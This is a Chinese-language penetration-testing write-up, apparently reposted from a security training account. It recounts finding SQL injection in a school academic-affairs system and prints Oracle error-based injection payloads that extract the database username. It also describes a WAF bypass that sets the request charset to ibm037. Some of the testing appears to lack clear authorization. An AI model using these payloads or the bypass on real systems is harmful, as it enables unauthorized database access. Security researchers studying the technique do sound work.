市护没拿下的sql注入后续

admin 2025-12-22 03:58:52 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文分享了作者在学校教务系统中发现并利用SQL注入漏洞的实战经验,包括识别Oracle数据库、使用多种注入技术获取数据、在同一系统多个接口中发现注入点,以及通过修改Content-Type为ibm037编码成功绕过WAF防护的方法,为WEB安全测试人员提供了实用的渗透测试技巧和绕过WAF的策略。 综合评分: 85 文章分类: 漏洞分析,渗透测试,WEB安全,实战经验,SRC活动


cover_image

市护没拿下的sql注入后续

原创

zkaq – bielang

掌控安全EDU

2025年12月17日 12:05 江西

扫码领资料

获网安教程

本文由掌控安全学院 – bielang 投稿

Track安全社区投稿~

千元稿费!还有保底奖励~( https://bbs.zkaq.cn  )****

一、前言

这套系统最开始看是在半年前打的一次市级护网,当时发现我对象的学校在靶标系统当中,索性找她要了 sso 的登录账号,开始测试,但是他们学校也有攻击队,安全建设也还不错,学校 waf 也上了,所以当时只是找到了注入点,但是没有注入成功。

在前几天闲来无事,想着搞一下自己学校的安全建设,于是用自己的账号开始看学校的相关系统,对自己学校也比较了解,没 waf,有账号(权限不高),最终发现了一套同样的系统,于是有了接下来的事情。

二、正文

1. 信息收集

因为是自己的学校,平时大部分系统自己也在用,所以就重点逮着平时使用的系统测试,就没做太多的信息收集工作。

2. 第一处

看了平时我们最常用的教务系统,由于时间过去很久了,忘记之前市护的是哪一个接口了,只能重新开始慢慢找,慢慢点击功能点,将流量代理到 burp 中,然后查看数据包中的参数,最终在一个查询的数据包中发现单引号报错:

判断是什么数据库:

'||+exp(290)+||'

'||+exp(291)+||'

发现 exp 函数在 291 就报错了,那说明是 oracle 数据库,其他的数据库在 710 才会报错。

再来一个 Oracle 的特征函数验证一下:

'||+length2(1)+||'

正常,那就没问题了。

通过除 0 引发数据库报错开始注入:

'||+1/1+||'
'||+1/0+||'

判断用户名长度:

'||+1/(length(user)-4)+||'

'||+1/(length(user)-5)+||'

说明当前的用户名长度是 5。

然后判断当前用户名:

'||+1/(ascii(substr(user,1,1))-78)+||'

说明第一位的 ascii 是 78,对应字母 N,然后放到 burp 爆破后几位就可以得用户名了。

到这里,第一个 sql 注入就结束了。

3. 第二处

因为 EDUSRC 平台同一个系统收录三个 SQL 注入,所以还可以深入挖掘一下。

但是当前这个系统点击了所有的功能,也看了一下 js 接口,都没能发现其他的注入点。

怎么办呢这个时候?当然是提取指纹看看其他的系统啦,横向渗透,最后回到当前的目标。

找了几个其他的系统,进入后台重新寻找新的接口:

再次找到一个查询接口,依旧无任何过滤,单引号直接报错:

'||+1/(ascii(substr(user,1,1))-78)+||'

最后将该接口拼接回之前的系统,发现同样存在注入,拿下第二个注入点。

4. 第三处

测试了一下,还有好几个接口都存在注入,这里就不写了,写一下某证书站绕 waf 的过程

5. 绕 waf

模糊测试了一下,发现user函数就直接拦截,但是 user 是字符串就正常。

length2 函数可以正常使用,所以我想的是寻找 user 的替代函数进行绕过,但是太菜了没找到,哈哈哈。

所以我尝试了其他的方式进行绕过:

大小写–>失败

脏数据–>失败

编码–>失败

反引号–>失败

HTTP 数据编码绕过–>成功

原数据包Content-Type
Content-Type: application/x-www-form-urlencoded; charset=utf-8

绕过:
Content-Type: application/x-www-form-urlencoded; charset=ibm037

编码绕过是一种利用Web应用防火墙(WAF)和服务器之间对字符编码处理差异的攻击技术。WAF可能只针对常见的编码(如UTF-8)进行过滤,但如果服务器能够解析多种编码,攻击者就可以通过使用WAF不识别的编码来发送payload,从而绕过WAF的防护。

最后也是成功的注出了用户名:

'||+1/(instrb(user,'Nxxxx')-1)+||'

参考文章:

https://www.cnblogs.com/guixiangyyds/p/18756629#_label2

三.总结

最后也是拿下了几个证书站点,刷了一些分:

申明:本公众号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,

所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.

没看够~?欢迎关注!

分享本文到朋友圈,可以凭截图找老师领取

上千教程+工具+交流群+靶场账号

分享后扫码加我!

回顾往期内容

网络安全人员必考的几本证书!

文库|内网神器cs4.0使用说明书

重生HW之感谢客服小姐姐带我进入内网遨游

手把手教你CNVD漏洞挖掘 + 资产收集

【精选】SRC快速入门+上分小秘籍+实战指南

代理池工具撰写 | 只有无尽的跳转,没有封禁的IP!

点赞+在看支持一下吧~感谢看官老爷~

你的点赞是我更新的动力


查看原文:《市护没拿下的sql注入后续》

评论:0   参与:  4